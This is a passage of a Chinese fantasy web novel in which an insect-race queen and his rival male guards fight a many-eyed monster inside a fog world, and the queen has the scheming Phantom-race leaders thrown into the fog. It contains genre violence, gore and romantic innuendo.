且不说伊戈提安愿不愿意去篡位，就算他愿意，其他虫族也百分百不认伊戈提安这个新晋假“虫母”。 想当初，虫族内远没有产生出“虫母”的概念，将初步成为新种族的虫族组织在一起尝试驱散迷雾的那些虫子，也不能够让所有的虫子臣服。 要不是因为迷雾的威胁，虫族甚至无法团结起来，逐步形成后来不那么紧密的种族。 利诺随意道：“看来是这几天宣传神的效果不怎么样，急了，想把我们先从格局中挤出去。” 虫族的强悍但凡长着眼睛或有类似眼睛感官的异族都有看在眼里，任何生灵都是慕强的，在面对两难抉择的时候，总会倾向于更强的一方。 伊戈提安趁机蹲下来，大高个的虫将自己的头往小虫母怀里塞：“我全身全心都在爱着冕下，就是那些幻族没长眼睛，着急了谁都策反！就算安瑟姆反了我都不肯反的！” 安瑟姆正经：“这种假设根本不成立。” 虫母的地位无所替代，这些虫哪怕不把自己的性命当回事，也不会对虫母不敬，如果真有虫这样，那他只会是没有虫族基因的另外一个种族。 注意到在小虫母怀里占便宜、吃豆腐的伊戈提安，拉斐尔的褐色虫眸深沉了几分：“估计是伊戈提安在我们中间格外不像好虫？所以被幻族找了上来。” 拉斐尔杀虫不用兵刃就可见血，隐藏所有的坏心思：“所以，伊戈提安你要不要假意答应，潜入敌营？” 伊戈提安磨牙：“我不像总参谋你心眼多，恐怕做不了这种事。卧底也只有你可以胜任了。” 呵，别以为他真是个傻子，拉斐尔分明在小虫母那里给他不动声色地上眼药，暗指他不是好虫。 拉斐尔耸耸肩，无辜道：“伊戈提安军长，我只是提出了个办法，你为什么要虫生攻击我？” “伪君子！”伊戈提安朝拉斐尔露出獠牙，低低嘶吼。 利诺揉乱了伊戈提安的头：“乖，别闹。” 被摸头的虫立刻安静下里，在小虫母香香的怀抱里愉悦地呼噜，血红的竖瞳分外得意。 利诺又看了拉斐尔一眼，拉斐尔回以被冤枉的委屈神情。 “……”利诺只能当做什么都看不见，将伊戈提安从怀里推出去，清清喉咙，“先别管幻族，接着说之前的事。” 利诺摊手，无论多少次，他还是不理解雄虫们在他面前互怼的“爱好”，只是经验多了，他学会了无视。 夜间，安瑟姆揉着小虫母吃撑的肚子，手法熟练，力道恰到好处，让小虫母舒服得直哼哼。 “冕下，您会因为今天的事情感到厌烦吗？”半晌，安瑟姆问出了一直很想问的问题。 利诺疑惑：“什么事？” “就是……我们在您面前争风吃醋？”安瑟姆不确定地问，“人族似乎是用这词形容的？” 利诺没当回事，只是握着安瑟姆停下的手继续给自己按摩：“没关系，等我多学学，就会雨露均沾啦！” 小蝴蝶在安瑟姆的身上打了个滚，从躺变趴，眼睛亮晶晶的：“安瑟姆，我会努力成为合格的虫母！” 利诺重复过很多次这句话，然而他每一次说的时候，都不是在信口开河，他是真的在逐步进步。 安瑟姆亲了亲漂亮妈妈：“冕下，您已经是了。” 利诺自然伸出舌尖，只是还没来得及触碰到护卫长冰冰凉的唇，那种危险的预感再次让他打了个激灵，警惕地跳下来，左右张望，像是只炸了毛的猫咪。 这次的危险与白天的分明一致，却不似白天那样短暂，意识海的情况也反映了这点。 和利诺距离最近的几十个星点在急促闪烁，门外的护卫第一时间打开门：“冕下！迷雾入侵！” 黑色粘稠的雾气四处蔓延，利诺尚不明了情况，只听到周围别墅内其他参加会议的种族惊慌的声音。 “迷雾怎么会出现在这里？！” “快！快穿防护服！防护服在哪里？” 虫族不需要防护服，就可以在迷雾中生存很长的时间，他们在第一时间来到了利诺的身边。 而这些种族能够在迷雾侵蚀的环境中生存下来、没有灭绝，都多少有自己对抗迷雾的方法。 防护服就是其中几个种族合力研究出来的产品，可以支撑在迷雾内不被侵蚀一段时间，后来因为好用、成本低，在所有现存种族中得到了广泛的使用。 利诺带着下属们从别墅内走出来，其他的种族也都穿上了防护服，正纷纷从别墅内出来，看到不穿防护服依旧可以在迷雾行走的虫族，很是惊讶。 没空理他们的目光，利诺抬头环视，这次的迷雾包裹的就是灰塔族用来迎接外族的场地，他道：“去看看。” “遵命，冕下。”几名护卫张开全然透明的虫翅，飞至高空，黑雾遮蔽了星际种族们想要探究的视线，但在利诺的意识海内，几个移动的星点一览无余。 很快，护卫回来并报告：“冕下，迷雾覆盖的区域是整个会议区，只在西南方向发现一扇迷雾之门。” “这不可能！迷雾被我们灰塔很好地控制在边境内。”德德鲁失声反驳。 “我们曾遇到过类似的迷雾，也是像这样突然出现在我族的一个星球上。”得到了利诺的应允，拉斐尔微笑道，“进入迷雾之门，找到钥匙，然后销毁就可以了。” “可……我们这次带的同族不多。”有种族捏紧拳，他们也关过门，但每次的行动都是详细计划并带上大量的军队才能够成功。 而这些这些种族是去另外一个种族开会，不是侵略，因此没有带上太多的军队，部分弱小的种族甚至将军队全留在自己的星球上对抗迷雾，只象征性地带了些守卫保镖。 有种族想到了幻族：“这迷雾是不是幻族带来的？他们这些天一直在劝我们去信仰迷雾！” “没错！”另外一个星际种族气愤道，“幻族的神这不就来了，让他们赶紧解决！” 于是幻族和少数依附幻族的种族成了众矢之的，好在这些都是各自种族的上位者，并未有什么冲动的行为，只是用阴沉沉或愤怒的目光瞪着幻族首领。 奥同样惊惧不定，说到底，他们虽说将迷雾称作神，但迷雾没有意识，哪里知道这些信徒也在这里。 他只好举起手：“各位，先冷静，神的意志不是我等可以揣测的……也许，今日神也是在庆祝我们的合作？” “啊！”有个守卫在出来的时候不小心将防护服扯出了个米粒大小的洞，到现在才意识到自己在被迷雾侵蚀，他的手掌正在融化，黏连着血肉的骨头在透明的防护服中异常显目。 “庆祝来吃我们？”他们不忿地反问。 即便奥如何解释，也不会有种族会相信他，几乎所有的种族都下意识地向虫族和灰塔族靠近。 德德鲁问利诺：“冕下，如今我们应该怎么办？” 利诺指着一个方向：“去门内。” “好！”德德鲁和相当一部分种族的首领当机立断，跟在虫族身后。 这些来参会的大部分都没真正进入过迷雾之门，肯定会紧张，可年龄和阅历让他们很快地冷静，他们明白，现在跟着虫族等这些大族，才会有一线生机。 “冕下，让您觉得危险的，是迷雾？”安瑟姆走在利诺的前面，问。 利诺摇头：“是门里的东西。总之，接下来要谨慎。” 虫母发话，虫族们都提高了戒备，狰狞的尾钩甩动，拔出特制的冷兵器。 他们很快走到了那扇门前。 在德德鲁睁大的瞳孔中，利诺，一个身形纤细的青年，从空气里掏出了大斧头。 这斧头虽然是粉色的，打着一枚精致的蝴蝶结，但不可否认，它仍旧是一把巨大的斧头。 “……冕下的斧头很好看。”巴纳巴斯的眼镜差点从鼻梁滑落。 “谢谢，我也很喜欢我的斧头。”利诺提溜起斧头，对这些政客道，“待会进门，有冷武器就拿冷武器，没有就躲，打不过就跑。进入一扇门随机传送的距离不会太远……” 利诺吹了声口哨：“跟着这个声音来找我，我会在原地等上一小时。” 这声口哨夹杂他的精神力，而这些种族的意识海与他们不同，但精神力殊途同源，捕捉并辨别方位完全可以轻松做到。 “好！”这些族群纷纷点头，虫族给了他们很大的信心，连恐惧都少了很多。 利诺是在队伍中间进的门，空间转换，腥臭的风铺面袭来。 他定睛看向臭味的源头，一群白色的羊咩咩地叫，却用尖利的牙齿啃食一只巨大的类人脚掌。 第73章 那脚掌的长度目测有五十多米，大半皮肉腐烂生虫，露出带着血丝的脚骨。 一群有着柔软白色卷毛的绵羊聚集在这截脚掌的断面处，不管上面穿梭、长着锯齿的蠕虫，用寻常白羊没有的尖牙，撕扯肉，不小心时还会将那虫卷吧卷吧，混合腐肉咀嚼。 很恶心的场面，也很诡异。 利诺握紧斧头，他没有在四周感知到可以威胁他的存在，吃肉的羊仅仅是一群羊，而非披着羊皮的怪物。 确认周围没有危险，利诺用精神力吹口哨，等着虫族和其他种族过来。 等待的时候，利诺走近了断脚，胆小的羊因为陌生存在而中断进食，仓皇逃窜。 利诺不是专业的，却也能够看出这只断脚应该是被利刃一下子切断的，除了羊啃咬的痕迹，断面平整光滑。 他想到了那次迷雾之门内的巨骨架，按着记忆比划了下，这断脚的主人明显比上次见到的那巨人要小很多。 “冕下！”伊戈提安是最先找到利诺的虫，他本身是追寻蚁，不需要利诺特意召集就可以轻松闻出利诺的位置。 利诺看了眼伊戈提安，问道：“你来的路上，有看到别的断肢吗？” 伊戈提安摇头：“没有，冕下，周围很干净……我一只怪物也没有看到，只有一些牲畜。” 利诺蹲下身，地面的沙子是黑色的，他捏了一把在手心，凑近看了看。 伊戈提安补充：“我能看到的、能感知到的，都是这种黑色的沙子。” 似乎这个世界被蚕食到只剩下沙土。 利诺撵着黑沙，呆愣了片刻，仰头对伊戈提安说：“这不是黑色的沙子。” “是染上血的沙子。” “怎么可能？”伊戈提安嗅探，“我没有闻到血味。” “不是一般生物的血，你闻不出来很正常。”利诺也没有闻到，还是捧起沙子的时候，心神微动，用精神力感知到的。 这是不同于任何星际种族的血，并不特殊，但因为血的构成成分与虫族乃至他们遇到的所有生物都不一样，因此不会在第一时间被辨认出。 利诺的后背发凉，四周观望，黑沙看不到边。 虫族的视力同样不俗，能看到的面积自然也广，黑沙？不，是血沙。 这么大的沙地全都是因为血倾撒凝固后变成的黑，那么，这里到底死了多少不同于虫族和异族身体结构的种族，才能把沙子染得这么黑？ “冕下？”伊戈提安不是个细腻的虫，却也察觉到了利诺不稳定的情绪，他将蹲在黑沙上、小小一团的利诺抱起来，擦拭利诺抓过沙子的手。 利诺用干净的手抱住伊戈提安的脖子：“只是有点震惊。” 他的头搁在雄虫坚实的臂膀上。 伊戈提安不觉得有什么，他们在迷雾之门内也遇到过数量庞大的怪物，也曾把地面、河流染成血红色的。 他安慰地摸了摸利诺，哄道：“冕下，要不要乖大狗叫？” 伊戈提安只能想出这个鬼办法，利诺白了这只大狗一眼。 他上辈子在丧尸堆里杀丧尸，砍下的头堆积在尸体血河中，血气冲天，但远远比不上这些黑沙。 那些已经不算是生命的怪物，又怎么能和活着的生物相比。 精神力的强大有一点不好的，在观察黑沙的时候，一缕精神丝线与黑沙勾连，死前的痛苦恐惧的哀嚎顿时冲击到了利诺的意识海。 利诺仿佛能看到无比惨烈的画面，无论年幼还是壮年的存在，血液喷洒，泡在沙子里，随着时间而发黑…… 利诺不是圣父，但任凭是谁，意识到这是一次彻底的种族屠杀时，也不会无动于衷。 由于这方迷雾世界表面上的平和，凡是进入门内的都没有遇到危险，平安到达利诺的所在地。 一些最先找到利诺的异族首领颇有些古怪地看向利诺，青年正在被高大魁梧的下属之一抱在怀里。 一没有受伤二没有泄力，哪个种族的首领会愿意被随从抱？还是哄小孩或者恋人的宠溺？ 平日里与虫族相处最久、交流最频繁的德德鲁和巴纳巴斯好似想到什么，不约而同彼此对视，都在对方的眼中得到了答案。 年长者的经验告诉了他们一个最不可能的事实，那就是，这位虫族冕下和下属们的关系似乎并非普通上下级会有的关系？ 不过这两到底岁数不小，什么事没见过，更何况虫族的习俗和结构本就和他们族群的不同。 不约而同地把发现的事实“忘掉”，德德鲁和巴纳巴斯问道：“冕下，来的各族都已经到齐了，接下来我们要怎么办？” 自从得知沙子是血沙后，其他虫族就不愿让小虫母的脚再沾地了。 利诺坐在化成虫型的伊戈提安背上，把荒漠追寻蚁的一根触角当成方向杆，闻言道：“自然是要找钥匙并销毁了。” 视线往下瞥：“你们来的时候有遇到什么特别的吗？” 很明显，虫族是这次的主导者，就算那些较为强悍的星际种族不愿被压上一头，可面对这次的危险，听虫族的或许能够安然无恙，不听虫族，十有八九得死。 他们在各自种族内都是正副首领族长之类的地位，有傲骨，但命比傲骨重要。 这时，一个半张脸是灰白鳞片的中年异族朝利诺抱歉，这是他们族内表示认同的意思：“冕下，我没有遇到怪物，但见到了半个尸体。” 他指了指断脚：“很大，和这个估摸是一个种族的。尸体躺在沙子和草地的交界处。” “草地？”利诺眯起眼眸，“你指个方向。” “好。”异族点头，他们族群的实力不弱，也动员关过好几次大门，多少了解门内的情况。 迷雾之门的钥匙往往与怪物紧密相连，想要找到钥匙，就先得找到怪物，除意外情况，钥匙往往在怪物的身上或者附近。 这些参会的种族们数量不少，从哪个方向赶来的都有，在一望无际的血沙中，类似草地的区域就有可能是关键了。 中年异族心知肚明，他在发现草地的时候就迅速后退，避免自己没能和其他种族汇合，先遇到门内的怪物。 追寻蚁带着利诺顺着中年异族指引的方向飞行，剩下的虫族有一小半随地面上的异族们行走，他们负责保护这些异族。 利诺对这些年纪都不小的首领们只有一个建议，那就保护好自己，关门的大事则由他们虫族来做。 剩下的虫族和利诺一起到了中年异族话语中的地点，果不其然，一只仅有半副身躯的巨人背朝上趴着，残留的手臂正遥遥指着草地的深处。 拉斐尔扫视巨人的尸体，对利诺说：“冕下，这和我们之前遇到的白骨基本一致，除却体型外，可以判定是一个种族。” 利诺没多说话，而是简单道：“往里面走，小心些，可能有危险。” 充当坐骑的伊戈提安晃动口器两侧的一对上颚略微张开，属于虫族的嘶鸣：“冕下，我闻到了湖的味道。” 伊戈提安的话让利诺转变了一开始分散消息的想法，而是先去湖泊附近。 草地的面积不比血沙占据的面积小，哪怕是虫族，也花费了不少时间找到湖水。 然而，伊戈提安口中是湖，并非是由清水构成的湖泊，而是血肉浸泡残肢，在凹陷盆地的“湖”。 红到发黑的湖水内，到处是乱七八糟的巨人碎肢，断手断脚、从腰部切下、彼此连着血丝的两条腿、削掉半边的巨大头颅。 利诺分不清这是多少巨人的尸体，以内尸体被分到太碎了，光是浮在血水上或残缺或完整的巨人头就数不清。 这下不止利诺，其他的虫族也沉默了，他们同样没见过这种场面，要知道他们杀怪物就是单纯的杀戮，尾钩撕碎怪物的身躯，却不会在杀死怪物后还要花费多余的时间分尸、丢到坑里造血湖。 尚且完好的巨人头全都是一副狰狞的神情，俨然在死前有过巨大的情绪波动。 没有害怕恐惧，只有愤怒和憎恨，他们眼睛大睁，望着天际。 利诺跟着他们的视线抬起头，覆盖在上空的，就只有浓密的黑雾，经年不散，对下方的生命蠢蠢欲动，但由于规则的束缚而无法扩散吞噬。 良久，他收回视线，把手就要放进血湖中。 在手指即将与湖面接触前，一缕显化的精神丝线从指尖脱离，化作简线条的蝴蝶，遁入湖底。 轻巧的小蝴蝶，闪着银白的光芒，不沾一丝血污，遁入湖底，看似柔弱，却在触摸到一个危险存在的时候变成无情的细针，遁入危险存在的脑中去搅碎无用的神经。 湖水猛地炸开，血水溅射而利诺早在第一时间往后退。 利诺啧了声：“没成功。” 虫族将他们的母亲护在身后，警惕打量不断咕噜噜冒泡的血水。 那里面有一只危险的怪物，他的本身让利诺升起不大不小的危险警觉。 利诺想趁着这怪物休眠的时候杀死他，可惜怪物皮糙肉厚，头内的杂质太多，只是脑子被精神丝线搅上几遍影响不了怪物的行动。 一只十米的巨物从湖水中挣扎跃出，因为湖水内的血肉而看不出他原本的肤色，他对虫族张开了血盆大口。 一只靠得最近的护卫虫趁机把军部利刃刺入怪物的口腔，仅仅破了一点皮肉，却将怪物彻底惹怒。 怪物闭上嘴，强大的咬合力令竖在血红大口的利刃折断。 猩红无神的兽眼盯着从他嘴里逃出来的护卫虫，重重咀嚼，坚韧的佩剑变成碎片。 第74章 “多谢冕下！”没有命丧怪物之口的虫族对利诺行礼，眼中没有对死亡的恐惧，只有对利诺的仰慕。 他的冕下救了他！嘿嘿嘿！ 在最后一刻，利诺用显化的精神丝线将这只虫族拉了出来，因此怪物只吃到了利刃。 利诺张开精神力覆盖，庞大的、无形的虫母精神力将所有的虫族以及眼前的怪物笼罩。 他提醒：“这只怪物很强，要谨慎。” 从血水断肢里爬出来的怪物是说不出的畸形扭曲，与血水如出一辙的眼珠密密麻麻分布在疑似是头颅的部位，裂开的血盆大口两边也眨动着两只眼睛。 血糊糊的一团，除了许许多多的眼珠和一张裂到极致的嘴，就插满了无数手和脚，没有任何规律，大小不一，仿若是一个小孩随心捏造的橡皮泥。 星际种族外表不同、样貌不一，但看似再怪异的外形都有最基本的用处和环境影响下的协调。 然而这是怪物并非如此，他只是一个猎奇的、荒诞的、违背了自然生命的产物，他无视自然的规则，长出更多的眼睛，插上更多的肢体。 伊戈提安皱眉：“好恶心的怪物！” 利诺表示赞同。 怪物没有智慧，从沉睡中被唤醒的他只有愤怒和食欲。 只吃了把没有味道的利刃，怪物显然很不满意，无用的、有用的肢体一齐忙乱地挥舞，眼珠子锁定最香的利诺，在一息之间窜到了利诺面前。 利诺瞳孔颤动，这怪物的肢体虽然狂魔乱舞，但实际上，真正起作用的是他血糊的躯干。 他来不及思考这怪物的速度到底有多快，迅速反应过来后将斧头砍向从怪物嘴巴里伸出来的手臂。 怪物的嘴里同样有许多肢体，在他凑近利诺的时刻张开嘴，无数或白皙或黝黑的、人形的非人形的手臂和腿朝利诺伸过来。 血腥的味道浓郁至极，除此之外，怪物的嘴巴里还有鲱鱼罐头打开在太阳下又暴晒发酵十几天的臭味。 感官灵敏的利诺脸色发绿，如果不是现在的处境，他高低得吐出来。 简直太折磨一只嗅觉发达的虫了！ “冕下小心！”保护在利诺周围的雄虫迅速反应过来，他们在战场和杀戮中浸染了不知多少的岁月，早就形成了本能的战斗意识。 利诺的尖锐斧头将伸出来的肢体砍掉一半，其他的雄虫也愤怒地对怪物发动了攻击。 利诺本想再砍上一斧头，却被安瑟姆护到身后，安瑟姆的恐怖尾钩配合手中的利刃，将怪物口中的肢体尽数砍碎。 安瑟姆没有回头：“冕下，请先撤退。” 这怪物的强大超出了虫族的想象，这也是安瑟姆这几只中高级虫族在关闭迷雾之门时遇到的最难搞的怪物。 在无法自信保证可以保证虫母冕下安全的时候，安瑟姆、伊戈提安和拉斐尔不会让他们的小虫母亲自与怪物对抗，即便违背利诺想要上前的意愿。 利诺瘪瘪嘴，没说什么，安生退到暂时安全的区域，他明白安瑟姆等虫对自己的保护欲，眼下又是在战斗，他有分寸，不会非要往前冲，分散雄虫们的注意力。 不过利诺没有傻等，而是尝试用精神力攻击这只怪物，尝试几轮后无奈放弃。 没办法，这怪物就没脑子，精神力对他压根没多大的影响。 “这到底是什么怪物……”利诺自言自语，那些软烂的肢体容易割除，可却难以破开怪物的躯干，虫族的尾钩都只能在上面留下几道血痕。 “吼！”怪物因为这些虫族们的攻击而烦躁愤怒地嘶吼，一半的眼睛仍旧死死盯着后方的利诺，是充满食欲的贪婪。 怪物可没有什么耐性，张开嘴巴就乱咬，好在虫族飞行跳跃时的速度不比怪物慢，在逃离的时候可以顺便解决从肉口里冒出的残破肢体。 怪物和虫族你奈何不了我，我也奈何不了你，陷入到微妙的平衡中。 利诺眯起眼眸，观察怪物，企图找出怪物的弱点来，要不……先试着攻击眼睛？ 这时，一道撕心裂肺的生硬从不远处传到了利诺的耳朵内：“虫族冕下，试着挖出他的眼睛？” 说话的是一个利诺不算熟悉的异族首领，好像是叫宏骸族，他们这个种族原型便更偏向人类，只不过平均体型要高上几米不等。 宏骸的话和利诺接下来的打算类似，通过意识海，利诺沟通所有与怪物缠斗的虫族：“挖眼睛！” 虫族的动作没有任何停滞，灵活转变，伊戈提安用尾钩活生生挖下怪物的一只眼睛。 “吼！”怪物嘶吼，但这次的嘶吼中多了一丝痛苦。 见有效，虫子们一窝蜂去挖怪物的眼睛，怪物的眼睛比起肢体来说更难砍，但在伊戈提安付出一把利刃的代价、用尾钩成功挖出一只眼睛后，就仿佛打破了怪物的某种防御壳。 一只又一只狂暴混浊的奇怪眼睛被虫族挖出来，随意丢在地上，怪物从主动攻击到防御，再到最后的无力招架。 拉斐尔将怪物嘴巴里的最后一只眼睛挖了出来。 怪物哀嚎着，跌倒在地上，一动不动。 怪物死了。 被几只虫族保护的各族首领也在确认没有危险后，走了过来。 他们从怪物的尸体上掠过，注意到怪物身后的血湖，倒吸了一口冷气。 “噗通——”以族长为首的几只宏骸族朝着血湖虔诚又痛心地跪了下来。 参与战斗的几只虫族走过来，他们身上鲜血淋漓，有自己的，但更多的是沾染的怪物身上带着的血，连拉斐尔也没有避免，发丝都粘上血湖的血。 因为太脏，虫族们没有像以往那般围在利诺身边。 利诺动用治愈的赐福，把几只虫族的伤口治愈后就道：“去清洗干净吧。” 虫子们乖巧点头，分散开，各自处理干净，而先前被命令保护其他异族的护卫虫自动走过来，贴身保护小虫母。 哪怕他们知道，即便这些种族中只有利诺一只虫，其他异族也伤害不了利诺。 利诺在旁边静静地站立，等到宏骸族起身后走上前，开门见山：“你知道了什么？” 宏骸族长身量很高，在和利诺对话的时候为了表示尊重，特意蹲下来，但即便如此，也比站着的利诺要高上很多。 宏骸族长摸摸头，因为这次迷雾的原因，他愿意给虫族最大的尊重。 于是宏骸族长决定趴下来和利诺对话。 利诺扶额，一双点缀着酡红的水晶翼从背后张开，飞到和宏骸族一致的高度：“就这样说。” 宏骸族的智商普遍不高，要不然他们凭借强悍的肉身早就成了一方霸主，而不是现在这种低不成高不就的地位。 这只宏骸族的族长算是智商较高的了，至少他说话很流利，也有逻辑，比起他身边的那只宏骸保镖一脸痴呆样好多了。 “虫族冕下。”在族群内称得上是天才脑瓜的宏骸族长回道，“在我族记载中，名为托泰亚尔的巨人神创造了他的泰坦眷属，他的眷属又创造了宏骸族。” “我一开始不太敢肯定，这是宏骸记载中的泰坦眷属。” 宏骸族长的情绪低迷：“直到看到百足百眼的邪恶生物。记载中，百眼入侵宏骸，泰坦中的一位勇士将它身上的一百只眼睛挖下来，杀死了百眼。” 族长口中的记载，正是属于他们种群的神话故事。 然而现在，神话似乎不再是神话。 利诺深思。 而宏骸族长不解又很悲伤：“可是我不明白，虫族的冕下，百眼没有被杀死，反而是泰坦眷属都死了。” 那血湖里的残破尸块、被白羊啃食的断脚，都是泰坦眷属。 不期望利诺可以给出回答，宏骸族长转而迷茫：“那巨人神托泰亚尔又在哪里？” 或许，巨人神也死在了一处迷雾世界内，化作白骨，哀伤他眷属的灭族，却无能为力…… 利诺想起了迷雾世界的巨大白骨，叹了口气，稍微犹豫，没有隐瞒，将这个可能和之前的白骨告知了这位宏骸族长。 “呜嗷呜嗷呜嗷！”几只宏骸族彼此抱着开始痛哭，他们体格大，哭声也大。 利诺脑瓜子嗡嗡的，有些后悔自己的多嘴，不仅把人都搞哭了，还得承受魔音贯耳。 一双大手捂住了利诺的耳朵，利诺不用回头，光靠气味就可以知道是安瑟姆。 安瑟姆把自己清理干净后匆匆赶回来，他细致温柔地问：“冕下，好点了吗？” 伊戈提安对这些宏骸族一个瞪眼，凶神恶煞：“不许哭！” 宏骸族顿时吓到止住嚎哭，宏骸族长那个最傻的保镖大个子捂着嘴，打了个哭嗝，招来伊戈提安又一记威胁的眼神。 世界安静，伊戈提安美滋滋地要去给小虫母邀功，一扭头，比他晚到一步的安瑟姆正捂着小虫母的耳朵细声细语说着什么。 可恶，安瑟姆不愧是从小被训练的虫母护卫，手段够多的！伊戈提安咬牙切齿，在他解决让利诺不舒适的声音源头的时候，安瑟姆已经靠捂耳朵和小虫母卿卿我我上了！ 诡计多端的虫！ 不止于此，在伊戈提安恼怒时，比安瑟姆更诡计多端的虫——拉斐尔，把一朵不知道从哪里找来的鲜花献给了小虫母，并得到了小虫母的明媚笑容。 “你看，伊戈提安阁下。”幻族首领奥瞅准时机，走到伊戈提安不远处，“咱们这种老实的根本争不过那些会耍心眼的。” 伊戈提安的尾钩烦躁地晃动，奥深知这尾钩的恐怖，心跳因为恐惧停跳了两拍，悄悄远离了伊戈提安几步。 伊戈提安的声音冰冷，冷血动物的竖瞳盯住奥：“你想说什么？” 第75章 奥笑着摆手：“没什么没什么，伊戈提安阁下，我只是同情您得不到您的冕下的偏爱。” 伊戈提安不语，只是一味望着利诺的笑容，漂亮的小虫母光是站在那里，就能够让他的心跳紊乱，满脑子都是小虫母。 偏爱？小虫母偏爱着每一只虫，他当初在没见到冕下时口出恶语，伤了冕下的心，可他的冕下并没有惩罚他，而只是蹂躏他的翅膀，去榨取内里草莓味的蜜液。 那算什么惩罚？分明是奖励！ 冕下还喊他乖大狗！ 冕下愿意把他当狗！ 光这一点安瑟姆这些虫就比不上他伊戈提安，只有他伊戈提安是冕下的大狗！ 利诺是最重要的，其他的生物，比如不怀好意、来刷存在感的幻族，伊戈提安压根就没放在心上。 然而奥以为自己的话说中了伊戈提安的心事，收敛得意的表情，装作不经意地小声说：“伊戈提安阁下如此优秀，分明值得独占冕下！” 奥算是发现了，这些有着强大力量的虫族之所以甘愿臣服在一只孱弱的、纤细的虫族脚下，完全不是因为这位冕下的实力，而是可能因为魅力？ 不可否认，奥就算是见惯形形色色的各族美人，在初次见到利诺时也不禁愣神。 虫族冕下的美，超越了种族和性别的桎梏，如若此时的宇宙仍有迷雾侵略之前的最受欢迎榜，这位虫族冕下只需要一张照片，就可以登到榜首。 自以为发现了虫族隐秘的奥感到兴奋，试问有什么是最不靠谱的，毫无疑问，是感情。 所谓的深爱，在利益冕下不值一提，这些强悍的虫族因为对冕下的喜爱聚到一起，迟早会因为对冕下的喜爱而撕破脸面。 奥很自信，只需要轻微的挑拨，虫族就可以陷入内乱，无暇顾及外部的迷雾和其他星际种族的合作。 伊戈提安收起炙热的、爱慕的视线，冷淡的血腥竖瞳瞥了眼奥。 一眼，足以让奥在幻觉中闻到浓郁的血腥，嗅到危险的杀意。 奥后退了几步，勉强道：“如果您想要冕下的爱，我们幻族会帮您。” 他的四肢燃烧着星云的瑰丽：“幻族随您调遣！”无论是合作杀死其他的虫，还是抢夺并独占伊戈提安喜爱的虫族冕下。 奥觉得自己已经拿出了最大的诚意，然而伊戈提安只觉得他烦。 伊戈提安自始至终没压低声，不耐道：“别费心思挑拨我和冕下的关系！” 这道不耐烦的声音引起了包括利诺在内的各种族的注意。 见状，利诺挑眉，对伊戈提安招手：“过来，伊戈提安，幻族的首领对你说了什么？” 伊戈提安闻着味凑过来，不着声色挤开安瑟姆和拉斐尔，如同最忠诚的看门犬：“他说他有办法让我独占您。” 其他虫族阴沉的目光，如同杀器，砸到懵逼了的奥身上。 奥正怀疑人生，他不明白，伊戈提安肯定不是什么老实的虫，既然觊觎王座上的冕下，为什么不直接抢走，反而要和其他虫族一起分享来自王的爱？ 而且，这是密谋啊！ 密谋是可以大声说出来的吗？伊戈提安即使不想背叛自家的冕下，这种事也是可以直接说出来的吗？不怕他的冕下因此防备他吗？ 奥陷入到了深深的自我怀疑中。 在瞬间陷入冰点的气氛中，利诺噗嗤一声，笑了出来：“幻族首领，你的家人难道没有教导你，在没有彻底摸清一个种族特征时，不要太自以为是吗？” 他踱步到双腿发软的奥面前，居高临下，那张漂亮的脸蛋覆上一层淡淡的阴影，越发得艳丽：“还是说，迷雾把你的脑子吃掉了？把你的眼睛腐蚀瞎了？” 一个异族，企图让一只雄虫去谋虫母的反，并禁锢虫母。 天大的笑话！ 利诺并未生气，却因为幻族的愚蠢而心生厌烦，在迷雾入侵的处境下，有些种族不仅不团结，还要搞小动作。 幻族让他想起了上辈子把他和他的同伴害死的基地大首领。 在场的所有幻族不顾形象，跪在了地上。 一个曾经的大族，在决定以迷雾为神、献祭生命的时候，就已经从根上烂掉了。 “伊戈提安，还记得我们曾经说过什么吗？”利诺甜甜地问伊戈提安。 小虫母如同蜜糖的嗓音把伊戈提安迷得不要不要的，他恨不得此时跪在利诺面前，让利诺再使劲掐他的翅膀、触角，用手挑弄他的口器和肌肉，最好能够留下掐痕，打上独属于利诺的印记。 满脑子都是黄色废料的伊戈提安单膝跪地：“当然，冕下！” 利诺点着下巴：“虽然现在不是最好的时机，但迷雾应该也饿了？” “遵命。”伊戈提安半虫化的身躯越发扭曲恐怖，其他观望的种族皆选择闭紧嘴巴，装作看不见。 畸形的尾钩刺入了奥的腿，只有面对冕下才会收敛的尖刺利刃让奥发出疼痛到极致的尖叫。 这也许是伊戈提安第一个使用尾钩却没有一击毙命的猎物。 伊戈提安飞起来轻轻一抛，这名幻族的首领被扔到了覆盖在天穹的迷雾。 迷雾本能地汇聚，将一个自动送到嘴内的食物包裹。 几个护卫虫按照伊戈提安的动作，将剩下的几只幻族同样抛到了天空的迷雾中。 以迷雾为神的幻族被自己的神给吃了。 利诺摸了摸伊戈提安俯身的发丝，笑意吟吟地对其他震惊到的种族道：“这下碍事的没了。” “……是的，是的。”种族首领们纷纷点头，无比乖巧，生怕自己就是下一个被虫族扔到迷雾里的。 无论是在迷雾之门内，还是迷雾外，这些种族都不敢保证惹怒虫族后，会不会落下个和幻族一样的下场。 德德鲁啪啪啪鼓掌：“冕下，干得好！老子早看这老家伙不顺眼了！” 这些天的灰塔会议上，这幻族不仅在打虫族的注意，也一直悄摸摸地给灰塔使绊子，就为了让更多的种族加入他们幻族的阵营。 要不是因为幻族比他们的整体实力强，德德鲁这任灰塔族长早就把这粒污染了一锅肉汤的老鼠屎给赶出去了。 只是，德德鲁担忧道：“首领死了，幻族肯定不会轻易妥协。” 利诺温和道：“没关系，我们虫族最讲原则了，对不听话的、企图分裂合作局面的种族，我们会好好教导。” 这些异族中，可不只有一两个种族想跟着幻族走，利诺不期待这些种族又冒坏水、在后方拉后腿，于是意有所指：“伪族你们知道吗？现在在虫族的星球上正在挖矿。” “虫族的许多星球还没有开发，正缺劳工。” 利诺美滋滋地想，真好，这下又有一堆挖矿工加入伪族，为虫族的星球开发添砖加瓦了！ 事毕，队伍暂时休整。 利诺拉了拉衣鱼的衣摆：“拉斐尔老师，我做的对不对？这是不是就是你口中的威望镇压？” 拉斐尔抵住口腔内的蜜液，眸色幽深：“冕下学得很好，实践得也很棒。” 还不到二十的利诺，在短短的时间内从一名军校新生，蜕变成刚才气势迫人的虫族张泉者，离不开拉斐尔等虫的教导，也离不了利诺自身的努力。 简直……太令虫着迷了，拉斐尔咬破舌尖，铁锈味的血液令他稍稍冷静下来，不至于在此时不适宜的场合下乞求冕下吃自己…… 安瑟姆不比拉斐尔的反应差，巨大的尾钩遮挡他的半幅身形，防止出丑。 只有伊戈提安，一没被冕下真正亲过，二没被冕下切实宠爱过。 伊戈提安大咧咧地说道：“冕下，您刚才的表现太……” 